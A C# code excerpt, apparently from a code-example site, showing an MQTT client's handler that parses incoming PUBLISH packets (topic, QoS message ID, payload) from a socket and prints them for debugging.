            if ((buffer[0] != 2) || (buffer[2] > 0) || (returnCode != 3))
            {
                return(Constants.ERROR);
            }
            return(Constants.SUCCESS);
        }
Exemple #60
0
        // Messages from the broker come back to us as publish messages
        public static int handlePUBLISH(Socket mySocket, byte firstByte)
        {
            int remainingLength = 0;
            int messageID       = 0;
            int topicLength     = 0;
            int topicIndex      = 0;
            int payloadIndex    = 0;
            int index           = 0;

            byte[] buffer        = null;
            byte[] topic         = null;
            byte[] payload       = null;
            int    QoS           = 0x00;
            String topicString   = null;
            String payloadString = null;

            remainingLength = undoRemainingLength(mySocket);
            buffer          = new byte[remainingLength];
            if ((mySocket.Receive(buffer, 0) != remainingLength) || remainingLength < 5)
            {
                return(Constants.ERROR);
            }
            topicLength += buffer[index++] * 256;
            topicLength += buffer[index++];
            topic        = new byte[topicLength];
            while (topicIndex < topicLength)
            {
                topic[topicIndex++] = buffer[index++];
            }
            QoS = firstByte & 0x06;
            if (QoS > 0)
            {
                messageID += buffer[index++] * 256;
                messageID += buffer[index++];
                Debug.Print("PUBLISH: Message ID: " + messageID);
            }
            topicString = new String(Encoding.UTF8.GetChars(topic));
            Debug.Print("PUBLISH: Topic: " + topicString);
            payload = new byte[remainingLength - index];
            while (index < remainingLength)
            {
                payload[payloadIndex++] = buffer[index++];
            }

            Debug.Print("PUBLISH: Payload Length: " + payload.Length);

            // This doesn't work if the payload isn't UTF8
            payloadString = new String(Encoding.UTF8.GetChars(payload));
            Debug.Print("PUBLISH: Payload: " + payloadString);

            return(Constants.SUCCESS);
        }